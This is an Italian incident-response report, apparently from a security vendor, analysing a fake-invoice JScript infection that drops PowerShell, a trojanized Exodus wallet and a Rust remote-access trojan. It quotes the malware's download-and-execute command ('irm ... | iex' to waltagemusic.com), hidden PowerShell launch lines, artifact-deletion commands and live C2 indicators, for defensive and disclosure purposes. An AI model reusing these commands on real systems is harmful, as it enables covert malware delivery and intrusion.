Come leggere questo report

Quello che segue è il report di un’attività del nostro Incident Response Team (IRT), con i dettagli tecnici dell'analisi forense e della ricostruzione dell'attacco.

Per tutelare la riservatezza dell’azienda coinvolta, ogni riferimento diretto è stato sostituito con un nome di fantasia: nel testo il cliente viene indicato come “Azienda Alpha”. Allo stesso modo sono stati generalizzati l'hostname della workstation coinvolta (riportato come IT-HQ-ALPHA-01), il nome utente (riportato come AZIENDAALPHA\utente.alpha) e ogni altro dettaglio tecnico riconducibile al cliente.

Gli indicatori di compromissione dell'infrastruttura dell'attaccante — domini, IP, hash, URL, indirizzo onion — sono invece riportati fedelmente, poiché non riguardano il cliente e rappresentano un contributo utile alla community per finalità difensive.

Nome in codice dell’attività

Alle attività del nostro Incident Response Team che meritano di essere raccontate assegniamo un nome in codice. Questa l'abbiamo chiamata Operazione GhostWallet — un nome che racconta già metà della storia: un impianto nascosto dentro un wallet di criptovalute perfettamente legittimo, capace di muoversi come un fantasma nell'infrastruttura dell'azienda, silenzioso fino al momento in cui lo abbiamo intercettato.

Nel report useremo questo nome per riferirci all'intera catena d'attacco, dal primo click alla chiusura dell'incidente.

1. Briefing / Scenario operativo

Il 9 giugno 2026, il nostro Incident Response Team ha informato gli addetti alla sicurezza informatica di Azienda Alpha della necessità di attivare un piano di Emergency Incident Response, a seguito di diverse azioni sospette rilevate e segnalate tramite la nostra piattaforma di monitoraggio PanOptikon®.

L'incidente ha interessato una singola workstation, in questo report rinominata IT-HQ-ALPHA-01, identificata come entry point confermato e che, a oggi, resta l'unico sistema coinvolto in tutta l'infrastruttura dell'azienda.

Ecco le informazioni essenziali sull'host protagonista di questa storia:

1. Starting point Chrome - dai dati analizzati è compatibile con una PEC consultata dall’utente;
2. Download/gestione file JavaScript;
3. WScript.exe;
4. Fattura130334551.js;
5. Creazione PowerShell;
6. Eecuzione PowerShell via WMI;
7. Download remoto via Invoke-RestMethod;
8. Secondo stage PowerShell/.NET;
   
   

2. Cronaca dell’intrusione / Analisi effettuate

L’attacco è iniziato con l’interazione del browser Chrome tramite l’utente AZIENDAALPHA\utente.alpha verso il dominio:

filgjicpbkkpxjdaciwnae2kyp9dl5i6ohzesiec5.mysunnycorner.com

L’evento è associato al file:

C:\Users\utente.alpha\Downloads\Fattura130334551.js

Non abbiamo evidenza diretta che questo file derivi da una PEC consultata dall'utente, ma le numerose evidenze che abbiamo raccolto riconducono a una nota campagna malevola distribuita tramite falsa fattura via email — una tecnica che continuiamo a osservare con grande frequenza nelle campagne contro le aziende italiane.

"C:\Windows\System32\WScript.exe"
  |---"C:\Users\utente.alpha\Downloads\Fattura130334551.js"

Il contenuto AMSI del JScript, che abbiamo estratto dalla telemetria EDR, mostra che Fattura130334551.js compie in sequenza queste azioni:

1. Attende 5 secondi;
2. Determina il proprio path di esecuzione;
3. Crea un file PowerShell randomico in Downloads;
4. Scrive al suo interno un loader PowerShell Base64/offuscato;
5. Usa WMI Win32_ProcessStartup e Win32_Process per avviare PowerShell in modalità nascosta;
6. Imposta ShowWindow = 0, ovvero viene avviato in una finestra nascosta;
7. Esegue il seguente processo:

powershell -NoP -W Hidden -ep Bypass -File "C:\Users\utente.alpha\Downloads\u7AJQ1DL5UCGQKY3HZAMTSvTuoFrTDmrKQVVn0DKwoTtM3uKUmj7tRZgSkolsci49G9vYM08.ps1""

Il file .ps1 generato contiene una stringa Base64 che, una volta decodificata, produce il comando:

irm ('http://waltagemusic.com/1.php?s=<UUIDv4>' -replace "0", "") | iex

Questo comando scarica da remoto codice PowerShell aggiuntivo e lo esegue direttamente in memoria tramite Invoke-Expression. Da qui in avanti, la nostra telemetria ha osservato:

• connessione verso waltagemusic.com;
• connessione verso uk07m7j6xy80p1i.top;
• compilazione runtime C# tramite csc.exe;
• creazione di file temporanei .cs, .dll, .tmp;
• download/estrazione del pacchetto exodusUpdater;
• creazione di Exodus.exe, app.asar, ffmpeg.dll, icudtl.dat, v8_context_snapshot.bin;
• esecuzione di net localgroup Administrators;
• eliminazione degli artefatti iniziali.

Nei capitoli successivi ripercorriamo le evidenze tecniche emerse dall'analisi forense dei log e del sistema acquisito: prima con una ricostruzione cronologica degli eventi, poi con la lettura dell'intera progressione dell'attacco secondo le tecniche, tattiche e procedure (TTPs) del framework MITRE ATT&CK.

3. Timeline

4. Analisi degli eventi: la lettura secondo MITRE ATT&CK

L’analisi delle evidenze raccolte, che comprende tutti gli artefatti forensi sui sistemi compromessi e quelli relativi alla telemetria EDR, ha permesso di ricostruire le principali attività svolte dal Threat Actor all’interno dell’infrastruttura, evidenziando una compromissione appena iniziata ma già operativa tramite movimenti laterali, attività di discovery, accessi remoti e persistenza su più sistemi.

• 4.1 Process tree

  Di seguito la process tree dell’esecuzione malevola ricostruita attraverso il nostro sistema di analisi di Halo, la piattaforma di Detection Engineering proprietaria di Certego:

  C:\Program Files\Google\Chrome\Application\chrome.exe
  |--- C:\Windows\System32\WScript.exe
      |---C:\Users\utente.alpha\Downloads\Fattura130334551.js
          |-- crea:
          |   |--- C:\Users\utente.alpha\Downloads\u7A[..random..]M08.ps1
          |
          |-- WMI Win32_Process / Win32_ProcessStartup
                    |--- C:\Windows\System32\wbem\WmiPrvSE.exe
                    |---C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                        |-- csc.exe
                        |   |-- cvtres.exe
                        |-- csc.exe
                        |   |-- cvtres.exe
                        |-- file write:
                        |   |-- C:\Users\utente.alpha\AppData\Roaming\exodusUpdater\*
                        |-- net.exe localgroup Administrators
                            |-- net1.exe localgroup Administrators

  Tutti i processi sono descritti nel dettaglio nei paragrafi che seguono.

• 4.2 Initial Access

  L'accesso iniziale è avvenuto, con probabilità moderata, mediante il download da una PEC ricevuta sull'host compromesso di una finta fattura in formato JS.

  Dopo il download e l’esecuzione dell’allegato, la finta fattura in formato JS è stata salvata al percorso:

  C:\Users\utente.alpha\Downloads\Fattura130334551.js.

  Il download è stato osservato da una connessione outbound da Chrome verso:

  filgjicpbkkpxjdaciwnae2kyp9dl5i6ohzesiec5.mysunnycorner.com

  con la seguente richiesta:

  https://filgjicpbkkpxjdaciwnae2kyp9dl5i6ohzesiec5.mysunnycorner.com/fq33N84oI5?files=IT3212727598761.html,IT3212727598761.zip,8FOqhrUdQGNlM.js

• 4.3 Execution

  In questa fase, caratterizzata da una sequenza multi-stage che sfrutta script JavaScript e PowerShell per l'avvio del payload malevolo, l'esecuzione è stata orchestrata tramite tecniche di Living-off-the-Land, includendo l'uso di WScript e WMI per nascondere le attività malevole e aggirare le policy di sicurezza.

  • 4.3.1 - MITRE ATT&CK:T1059.007 - JavaScript/JScript

    Di seguito si riporta l’evidenza del file JavaScript scaricato dal dominio [..]mysunnycorner.com:

    C:\Users\utente.alpha\Downloads\Fattura130334551.js

    Il file non risulta oggi disponibile: è stato cancellato dallo stesso malware in fase di esecuzione. Abbiamo evidenza che sia stato eseguito tramite Windows Script Host, WScript.exe:

    "C:\Windows\System32\WScript.exe"
    |---"C:\Users\utente.alpha\Downloads\Fattura130334551.js"

    Il processo wscript.exe, utilizzato per avviare nativamente file JS all’interno del sistema operativo Windows, ha eseguito il JS nel contesto dell’utente AZIENDAALPHA\utente.alpha.

    Il contenuto AMSI, individuato tramite l’analisi della telemetria registrata dall’EDR, mostra attività JScript/COM:

    IHost.Sleep("5000");
    IHost.ScriptFullName();
    IFileSystem3.GetParentFolderName("C:\Users\baruccam\Downloads\Fattura130334551.js");
    IFileSystem3.CreateTextFile("C:\Users\utente.alpha\Downloads\u7AJQ1DL5UCGQKY3HZAMTSvTuoFrTDmrKQVVn0DKwoTtM3uKUmj7tRZgSkolsci49G9vYM08.ps1", "true");
    ITextStream.WriteLine(...);
    ITextStream.Close();

    Il documento Fattura130334551.js è quindi a tutti gli effetti il primo loader locale osservato che crea il successivo PowerShell dropper e prepara l’esecuzione della fase successiva.

  • 4.3.2 - MITRE ATT&CK:T1047 - Windows Management Instrumentation

    Come indicato precedentemente, tramite agente EDR, abbiamo individuato parte l’AMSI di esecuzione del JScript che mostra, tra le altre cose, anche l’uso di classi WMI come:

    Win32_ProcessStartup.GetObject();
    SetPropValue.ShowWindow("0");
    Win32_Process.GetObject();
    SetPropValue.CommandLine("powershell -NoP -W Hidden -ep Bypass -File ...");

    La successiva telemetria del processo mostra PowerShell avviato con parent:

    C:\Windows\System32\wbem\WmiPrvSE.exe

    e command line:

    powershell -NoP -W Hidden -ep Bypass -File
    "C:\Users\utente.alpha\Downloads\u7AJQ1DL5UCGQKY3HZAMTSvTuoFrTDmrKQVVn0DKwoTtM3uKUmj7tRZgSkolsci49G9vYM08.ps1"

    Il JScript usa quindi WMI come meccanismo di process creation: il parent process risulta essere WmiPrvSE.exe nella fase di esecuzione del PowerShell. L'impostazione ShowWindow("0") indica la chiara intenzione di eseguire il payload senza finestra visibile all'utente.

  • 4.3.3 - MITRE ATT&CK:T1059.001 - PowerShell

    Il processo PowerShell viene avviato con parametri tipici di tentativi di evasione:

    powershell -NoP -W Hidden -ep Bypass -File
    "C:\Users\utente.alpha\Downloads\u7AJQ1DL5UCGQKY3HZAMTSvTuoFrTDmrKQVVn0DKwoTtM3uKUmj7tRZgSkolsci49G9vYM08.ps1"

    Parametri rilevanti:

    Parametro	Descrizione
    NoP	Avvio senza profilo PowerShell
    W Hidden	Finestra nascosta
    ep Bypass	Bypass della Execution Policy
    File	Esecuzione di script locale

    La combinazione dei parametri è tipica di loader malevoli o downloader PowerShell. Il file .ps1 è stato creato immediatamente prima dal JScript ed è posizionato nella cartella Downloads dell’utente.

• 4.4 Defense Evasion

  In questa fase l'impianto malevolo utilizza diverse tecniche per occultare le proprie attività ed eludere i meccanismi di rilevamento. Tra le metodologie che abbiamo osservato figurano l'offuscamento di file e script, la decodifica a runtime del payload, la compilazione dinamica di codice C# e la rimozione sistematica degli artefatti utilizzati nelle fasi iniziali dell'infezione.

  • 4.4.1 - MITRE ATT&CK:T1027 - Obfuscated Files or Information

    Il processo PowerShell viene avviato con parametri tipici di tentativi di evasione.

    Il file .ps1 contiene una stringa codificata in Base64, utilizzata per occultare il comando PowerShell eseguito nella fase successiva della catena d’attacco. La stringa non viene riportata nel presente documento, poiché potrebbe contenere informazioni tecniche sensibili o elementi non necessari alla comprensione dell’analisi. La sua omissione non altera la ricostruzione del comportamento osservato né l’attribuzione della tecnica MITRE ATT&CK.

    Lo script decodifica la stringa con:

    [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(...))

    ed esegue il risultato tramite costruzione dinamica di iex.

  • 4.4.2 - MITRE ATT&CK:T1140 - Deobfuscate/Decode Files or Information

    La stringa Base64 viene decodificata a runtime dal .ps1. Il risultato normalizzato è:

    irm ('http://waltagemusic.com/1.php?s=<UUIDv4>' -replace "0", "") | iex

    Il payload non contiene direttamente in chiaro il comando finale, ma lo ricostruisce in memoria. La tecnica rientra in decode/deobfuscation runtime.

  • 4.4.3 - MITRE ATT&CK:T1027.004 - Compile After Delivery

    Il PowerShell crea file temporanei:

    C:\Users\utente.alpha\AppData\Local\Temp\4acwj1sb.tmp
    C:\Users\utente.alpha\AppData\Local\Temp\4acwj1sb.0.cs
    C:\Users\utente.alpha\AppData\Local\Temp\4acwj1sb.dll
    C:\Users\utente.alpha\AppData\Local\Temp\dm1zpvfe.tmp
    C:\Users\utente.alpha\AppData\Local\Temp\dm1zpvfe.0.cs
    C:\Users\utente.alpha\AppData\Local\Temp\dm1zpvfe.dll

    Viene eseguito:

    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

    con command line:

    "csc.exe" /noconfig /fullpaths "C:\Users\utente.alpha\AppData\Local\Temp\4acwj1sb.cmdline"

    e successivamente:

    Il payload scaricato genera codice C# locale e lo compila tramite applicativi Microsoft legittimi. Questo riduce la presenza di payload statici completi nel primo stage e consente all’attaccante di costruire componenti .dll direttamente sull’host.

  • 4.4.4 - MITRE ATT&CK:T1070.004 - File Deletion

    Il .ps1 contiene comandi di rimozione:

    Get-ChildItem $env:USERPROFILE -Include 'IT3212727598761.html*' -Recurse | Remove-Item;
    Get-ChildItem $env:USERPROFILE -Include 'IT3212727598761.zip*' -Recurse | Remove-Item;
    Get-ChildItem $env:USERPROFILE -Include '8FOqhrUdQGNlM.js*' -Recurse | Remove-Item;
    Get-ChildItem $env:USERPROFILE -Include 'Fattura130334551.js*' -Recurse | Remove-Item;
    Remove-Item -LiteralPath
    'C:\Users\utente.alpha\Downloads\u7AJQ1DL5UCGQKY3HZAMTSvTuoFrTDmrKQVVn0DKwoTtM3uKUmj7tRZgSkolsci49G9vYM08.ps1' -Force -EA 0

    Lo script effettua quindi una pulizia sistematica degli artefatti usati nelle fasi iniziali:

    • HTML stage;
    • ZIP stage;
    • JScript intermedio;
    • JScript con naming fattura;
    • PowerShell dropper randomico.

    Questa attività di pulizia sistematica mira a ostacolare le attività di Incident Response. Eliminando i file di stage iniziale (il loader JS e il dropper PowerShell), l'attaccante rimuove le prove cruciali del vettore di infezione, impedendo agli analisti forensi di recuperare i campioni originali per l'analisi statica offline. Nel nostro caso, la rapidità di isolamento dell'host ha comunque permesso di ricostruire l'intera catena a partire dalla telemetria già raccolta.

• 4.5 Command and Control/Ingress Tool Transfer/Web Protocols

  In questa fase analizziamo l'infrastruttura di Command and Control (C2) e le modalità di trasferimento degli strumenti malevoli (Ingress Tool Transfer): le connessioni outbound effettuate dallo script PowerShell verso domini remoti, il recupero dei payload intermedi e la dinamica di staging che ha permesso l'esecuzione e la compilazione del malware direttamente sulla macchina target.

  Il PowerShell generato contatta:

  hxxp://waltagemusic.com/1.php?s=<UUIDv4>

  La telemetria mostra connessione verso:

  141.136.36[.]44

  associata a waltagemusic[.]com. Al momento dell’analisi, la risorsa remota hxxp://waltagemusic.com/1[.]php?s=<UUIDv4> non risultava più raggiungibile. Di conseguenza, non è stato possibile recuperare la totalità del secondo stage scaricato dal comando PowerShell.

  L’indisponibilità attuale della risorsa non esclude che l’URL fosse attivo al momento dell’incidente. È possibile che l’infrastruttura sia stata disattivata, che risponda solo in specifiche finestre temporali, che applichi filtri su IP/User-Agent/geo-localizzazione o che il contenuto venga servito solo in presenza di specifici parametri.

  Per questo motivo, il comportamento del payload scaricato ed eseguito in memoria è stato dedotto dal comando osservato Invoke-RestMethod | Invoke-Expression e dagli eventi registrati dall'EDR sullo stesso processo PowerShell, tra cui la compilazione runtime C# tramite csc.exe/cvtres.exe e lo staging del pacchetto exodusUpdater.

  Successivamente abbiamo osservato connessioni verso:

  165.22.13[.]227

  associate a:

  uk07m7j6xy80p1i[.]top

  waltagemusic.com rappresenta quindi il secondo stage PowerShell. Il dominio uk07m7j6xy80p1i.top risulta coinvolto nella fase successiva di download o staging del payload exodusUpdater.

  Il traffico osservato utilizza il protocollo HTTP su porta 80. Non avendo il body HTTP completo restituito da waltagemusic.com, non è possibile ricostruire integralmente il secondo stage scaricato tramite Invoke-RestMethod | Invoke-Expression.

  Tuttavia, la telemetria EDR contiene eventi objectAppName DotNet associati al processo powershell.exe che includono objectRawDataStr con contenuto binario interpretabile come PE/.NET. La decodifica dei caratteri presenti nell’objectRawDataStr, anche se troncata secondo il objectRawDataSize dell’EDR, consente di ricostruire due assembly .NET generati durante l’esecuzione:

  • 4acwj1sb.dll, 7153 byte, SHA256 5209498504a41bd861f45c59af897d530e38f3bf5393723f977a51a500617763;
  • dm1zpvfe.dll, 2131 byte, SHA256 d447157a792ebe2000d98bbf5f206691683766fabcceb32e2a256f4d22ca04d7.

  Il primo assembly contiene riferimenti a COM/Task Scheduler, tra cui IElevatedFactoryServer, ITaskService, IRegisteredTask, CoGetObject e RegisterTaskDefinition. Il secondo contiene una classe TimeoutWebClient basata su System.Net.WebClient e WebRequest, compatibile con funzionalità di download HTTP con timeout.

  Questi artefatti sono componenti derivati dal codice eseguito in memoria dal secondo stage PowerShell. La loro presenza conferma che lo stage remoto ha generato e caricato componenti .NET runtime.

• 4.6 Persistence - Scheduled Task Activity

  In questa sezione analizziamo le attività relative ai task schedulati rilevate durante l'analisi forense. Sebbene la telemetria abbia mostrato il caricamento di moduli PowerShell che interagiscono con il Task Scheduler, abbiamo voluto verificare l'eventuale presenza di meccanismi di persistenza effettivamente implementati dall'attaccante per garantire la sopravvivenza del malware nel sistema.

  La telemetria mostra caricamento di contenuti/moduli PowerShell associati a Scheduled Tasks, inclusi riferimenti a:

  Get-ScheduledTask
  Disable-ScheduledTask
  Unregister-ScheduledTask
  Get-ClusteredScheduledTask

  Questo indica che il contesto PowerShell ha caricato moduli relativi a Task Scheduler. Tuttavia, nei dati disponibili non è presente un evento esplicito di creazione, modifica, o registrazione di scheduled task.

  Dalle analisi forensi sul sistema non sono emersi task schedulati malevoli a conferma anche dell’analisi effettuata sul malware all’interno della sandbox.

• 4.7 Collection / Payload Staging - exodusUpdater

  In questa sezione dettagliamo la fase di staging finale, che ha portato al rilascio dell'applicativo denominato exodusUpdater. Analizziamo la natura di questo pacchetto, identificato come una versione trojanizzata di un applicativo legittimo, ed esploriamo le componenti principali dell'impianto malevolo estratte sul sistema, inclusi i moduli responsabili delle funzionalità di intercettazione e comunicazione remota.

  È stata osservata la creazione della directory:

  C:\Users\utente.alphaAppData\Roaming\exodusUpdater\

  contenente i file:

  C:\Users\utente.alpha\AppData\Roaming\exodusUpdater\neXrDbIJdKvs.zip
  C:\Users\utente.alpha\AppData\Roaming\exodusUpdater\Exodus.exe
  C:\Users\utente.alpha\AppData\Roaming\exodusUpdater\resources\app.asar
  C:\Users\utente.alpha\AppData\Roaming\exodusUpdater\ffmpeg.dll
  C:\Users\utente.alpha\AppData\Roaming\exodusUpdater\v8_context_snapshot.bin

  app.asar, ffmpeg.dll, icudtl.dat e v8_context_snapshot.bin sono coerenti con un'applicazione Electron/Chromium. L’archivio app.asar contiene metadati compatibili con una build Exodus . Nel paragrafo successivo raccontiamo l'analisi che abbiamo condotto sul software, apparentemente legittimo, scaricato dal malware.

  • 4.7.1 Manomissione pacchetto originale

    Il pacchetto scaricato è stato rilevato essere una versione modificata dell’originale applicativo wallet di cryptovalute Exodus in versione 24.33.4 (risalente al 2024).

    Dopo aver estratto il file app.asar rinvenuto sulla macchina, tramite il comando npx asar extract app.asar app-extract, abbiamo trovato conferma nel file src/app/main/index.js: all'inizio del file era stata preposta questa istruzione JavaScript: require("../keyviewer/keystorage.js") .

    Questa istruzione manda in esecuzione un file fortemente offuscato all'interno della cartella keyviewer, non presente nel codice sorgente dell'applicativo originale.

  • 4.7.2 File keystorage.js

    Il file keystorage.js denota subito una dimensione molto considerevole, circa 200MB, e un codice fortemente offuscato (probabilmente con https://obfuscator.io/).

    Dimensione: 200.067.438 byte
    SHA-256: 7f8008421c604e8ae4b9f2f4b2f2d5cc7a94d9d7f3b4498f9d65df1947f41da7

    Tramite uno script sono stati estratti:

    Algoritmo: AES-256-CBC
    Key Base64: az5Ic/q+x8PcJu[...]1GyTmgRl/MgtQM=
    IV Base64: ppHY[...]xykIvYnQ==

    Questi valori vengono utilizzati esclusivamente nella prima fase del loader JavaScript, per trasformare il blob cifrato (payload malevolo) contenuto in keystorage.js nel successivo stage eseguibile. Il risultato è un payload che deve subire un altro processo di XOR con chiavi hardcoded per poter raggiungere un terzo payload.

    La chiave decodifica in 32 byte, dimensione prevista da AES-256, mentre l’IV decodifica in 16 byte, corrispondenti alla dimensione del blocco AES. Durante l’esecuzione, il loader ricostruisce il ciphertext, decodifica chiave e IV e utilizza AES-256-CBC per ottenere il primo shellcode della catena. Il buffer decifrato viene successivamente copiato in una regione di memoria eseguibile e avviato tramite CreateThread.

    Quest’ultimo payload è stato identificato come una implementazione di Donut loader, che può essere analizzato per estrarre il payload finale tramite la repository open source https://github.com/volexity/donut-decryptor.git

    Il risultato finale è un file eseguibile Windows con SHA256:

    2a74c3c9b5664f3b3bab603b04839a4a6e43e27ecb17d756fe10ac5d8093709e

  • 4.7.3 Analisi del payload finale

    Il payload finale non è stato ricondotto con sufficiente affidabilità a una famiglia malware già documentata. Le funzionalità individuate sono tuttavia coerenti con quelle di un RAT modulare. Il campione è un eseguibile PE x64 sviluppato in Rust e incorpora diverse librerie dedicate alle comunicazioni asincrone, alla cifratura, al protocollo HTTP e alla gestione della rete Tor. I riferimenti residui ai file sorgente, tra cui HwidUtils.rs, RequestHelper.rs, hidden_command.rs, dga.rs e connection_mode.rs, hanno permesso di distinguere il codice personalizzato dalle dipendenze incluse nel binario.

    Durante l’inizializzazione, il malware raccoglie le informazioni identificative della macchina compromessa e contatta api.ipify.org per determinarne l’indirizzo IP pubblico. Successivamente decodifica la propria configurazione interna, che comprende il Build ID, il segreto condiviso utilizzato per cifrare le comunicazioni, il mutex, il seed del Domain Generation Algorithm e l’indirizzo del C2 onion.

    Il malware supporta due differenti modalità di comunicazione: Tor e clearnet. Il canale principale utilizza il seguente onion service, incorporato nel binario in forma offuscata e ricostruito a runtime:

    x6uecilpnpaeg4omu4tpukgq4ksgneic5z7mwhwuqkmodhtccdovalid.onion:80

    In caso di problemi con il canale Tor, il malware può passare alla modalità clearnet e contattare una serie di domini generati mediante DGA. La generazione parte da un seed interno, che può essere modificato successivamente tramite un comando ricevuto dal C2. Il campione mantiene inoltre un contatore degli errori di connessione e può abilitare automaticamente il fallback clearnet dopo ripetuti fallimenti del collegamento Tor.

    Nel payload è presente anche un modulo denominato formgrabber, associato alla libreria Rust hudsucker, utilizzata per implementare proxy HTTP e HTTPS. Durante l’analisi dinamica è stato recuperato un messaggio di debug contenente:

    HTTPS Proxy started

    Non abbiamo elementi sufficienti per affermare con certezza che, durante la finestra analizzata, sia stato completato un attacco Man-in-the-Middle effettivo. Quello che possiamo confermare è che il malware ha inizializzato e avviato un proxy HTTPS: la presenza di riferimenti alla gestione di certificati e alla modalità transparent proxy è compatibile con un meccanismo di ispezione del traffico cifrato e con una possibile intercettazione delle richieste generate dal browser.

    Non abbiamo tuttavia osservato direttamente il reindirizzamento del traffico di sistema verso il proxy, né sono stati acquisiti form, cookie o credenziali sottratte. Non ci è stato possibile verificare l'effettiva operatività di un modulo predisposto per intercettare il traffico HTTPS, sebbene la sua inizializzazione sia stata confermata.

  • 4.7.4 Protocollo di comunicazione

    All’avvio, il malware raccoglie le principali informazioni della macchina compromessa e si registra presso il server C2 tramite una richiesta POST all’endpoint:

    /api/bot/add

    Il contenuto logico della richiesta è un oggetto JSON che include indirizzo IP pubblico, HWID, hostname, username, versione di Windows, versione del malware, Build ID e la modalità di connessione utilizzata, Tor oppure clearnet. Nel campione analizzato il canale principale è costituito dall’onion service:

    x6uecilpnpaeg4omu4tpukgq4ksgneic5z7mwhwuqkmodhtccdovalid.onion:80

    I dati non vengono trasmessi in chiaro: il malware cifra i messaggi con AES-256-GCM, aggiunge un nonce e un authentication tag e invia il risultato come stringa esadecimale nel body HTTP. Questa cifratura è distinta da AES-256-CBC, utilizzato precedentemente dal loader keystorage.js per decifrare il payload incorporato.

    Dopo la registrazione, l’implant entra in un ciclo di polling verso: di connessione utilizzata, Tor oppure clearnet. Nel campione analizzato il canale principale è costituito dall’onion service:

    /api/bot/collector

    Il server può rispondere con un comando operativo oppure con NOP, che indica l’assenza di attività da eseguire. Durante l’analisi dinamica sono state osservate più risposte NOP: in questi casi il malware attende l’intervallo configurato e ripete la richiesta, mantenendo attivo il canale C2.

    La nostra analisi statica del dispatcher ha individuato numerosi comandi. Tra questi figura shell, che permette di eseguire istruzioni attraverso cmd.exe /C e restituire al server l'output prodotto. Il comando loader consente invece di scaricare un file remoto, salvarlo sul sistema ed eseguirlo. Sono inoltre presenti funzioni per raccogliere nuovamente le informazioni dell'host, modificare l'intervallo di polling e cambiare la configurazione di rete dell'implant.

    In particolare, i comandi getseed e setseed permettono di leggere o sostituire il seed utilizzato dal DGA, mentre clearneton e clearnetoff consentono di abilitare o disabilitare il canale clearnet. Il malware può quindi passare dalla comunicazione tramite Tor ai domini generati dal DGA, anche in seguito a ripetuti errori di connessione.

    Nel binario sono infine presenti i marker plugin, _plugin, getplugins, pluigindata e l'endpoint:

    /api/bot/getplugin

    La denominazione di questi elementi suggerisce la presenza di un sistema dedicato al recupero e alla gestione di moduli aggiuntivi. Non è stato però determinato con certezza come tali plugin vengano successivamente caricati o eseguiti.

    Nel complesso, il protocollo realizza il normale ciclo operativo di un RAT tramite registrazione della vittima, polling periodico, ricezione del task, esecuzione del comando, invio del risultato e nuova attesa. La registrazione e la ricezione di NOP sono state confermate dinamicamente, mentre le funzionalità di shell, loader, modifica del seed e gestione dei plugin sono state ricostruite tramite reverse engineering statico

  • 4.7.5 Discovery MITRE ATT&CK: T1069.001 - Permission Groups Discovery - MITRE ATT&CK: T1087 / T1087.002 - Local Groups e Account Discovery

    Il PowerShell avvia:

    "C:\WINDOWS\system32\net.exe" localgroup Administrators

    che a sua volta avvia:

    C:\WINDOWS\system32\net1.exe localgroup Administrators

    Il comando enumera i membri del gruppo locale Administrators consentendogli di identificare account privilegiati locali o di dominio presenti nel gruppo locale. Tuttavia non viene osservata aggiunta di utenti al gruppo. Nessuna evidenza di privilege escalation tramite modifica del gruppo. L’attacco è stato fermato prima che questo potesse verificarsi e avere conseguenze più gravi.

  
  
  

5. Debriefing / Esito dell’attività IRT

Esito: minaccia neutralizzata in fase iniziale. Nessuna escalation, nessun movimento laterale, nessuna esfiltrazione confermata.

L'intervento congiunto tra il nostro SOC e il team IT di Azienda Alpha ha permesso di identificare tempestivamente la compromissione, ricostruire l'origine dell'attacco e attuare misure di contenimento efficaci fin dalla fase iniziale. Le evidenze raccolte mostrano che il Threat Actor aveva ottenuto un accesso stabile al sistema: analizzando e ricostruendo la compromissione multi-stage sull'host IT-HQ-ALPHA-01, il nostro Team IRT l'ha bloccata sul nascere.

Il componente iniziale confermato è Fattura130334551.js, eseguito tramite WScript.exe con parent chrome.exe. Il JScript crea un file PowerShell randomico in Downloads e lo esegue tramite WMI, impostando la finestra nascosta. PowerShell decodifica un loader Base64, ricostruisce un comando Invoke-RestMethod | Invoke-Expression, contatta waltagemusic.com e avvia la fase di staging successiva.

Il secondo stage utilizza tecniche di evasione e living-off-the-land, inclusa compilazione runtime C# tramite csc.exe, download/estrazione di un pacchetto exodusUpdater ed eliminazione degli artefatti iniziali. La fase finale osservata include discovery locale tramite net localgroup Administrators.

Attraverso l'analisi del pacchetto exodusUpdater è stato possibile rivelare una versione trojanizzata dell'applicativo legittimo Exodus wallet. Attraverso tecniche di offuscamento avanzate nel file keystorage.js, il malware è in grado di decifrare in memoria un RAT modulare sviluppato in Rust. L'impianto presenta funzionalità sofisticate, tra cui la gestione asincrona delle comunicazioni tramite Tor o domini DGA, capacità di form grabbing basate su proxy HTTPS e un'infrastruttura per la gestione dinamica di plugin. Tali evidenze confermano la natura dell'attacco, non limitato a un semplice dropper, ma finalizzato a garantire un controllo persistente, flessibile e orientato allo spionaggio sulla macchina vittima.

Non abbiamo individuato traffico sospetto tramite l’impianto del RAT installato ed evidenze che denotino esfiltrazioni di dati o credenziali presenti sull’host.

La tempestiva rilevazione della sequenza di eventi da parte di PanOptikon® e il rapido intervento del team di Security Operations, culminato nell’isolamento dell’host, hanno consentito di contenere la compromissione in una fase iniziale. Pur risultando già installato e tecnicamente operativo, il RAT non risulta essere stato utilizzato per attività successive di comando e controllo, esfiltrazione o ulteriore compromissione del sistema.

6. Indicatori di compromissione (IOC)

Di seguito riportiamo gli hash che siamo riusciti a calcolare, relativi agli artefatti disponibili su disco o ricostruibili dalla telemetria EDR. Non sono disponibili gli hash del JavaScript iniziale Fattura130334551.js, degli artefatti IT3212727598761.* / 8FOqhrUdQGNlM.js, del body HTTP scaricato da waltagemusic.com e dello ZIP neXrDbIJdKvs.zip. Per la fase waltagemusic.com, sono invece ricostruibili due assembly .NET generati durante l’esecuzione del secondo stage: 4acwj1sb.dll e dm1zpvfe.dll.

7. Conclusioni

Il fattore determinante in questo caso è stato il tempo di reazione: l'isolamento dell'host in meno di 20 minuti ha impedito che un impianto già pienamente operativo potesse essere sfruttato dall'attaccante. A questo si è affiancata un'analisi approfondita condotta su Halo, la nostra piattaforma di Detection Engineering, che ha permesso di ricostruire l'intera kill chain fino al payload finale.

L'analisi ha consentito di integrare gli indicatori di compromissione nei nostri processi di Detection Engineering, utilizzandoli per aggiornare le detection rule su tutta la base clienti, contribuendo a mantenere le difese aggiornate rispetto alle tipologie di attacco osservate.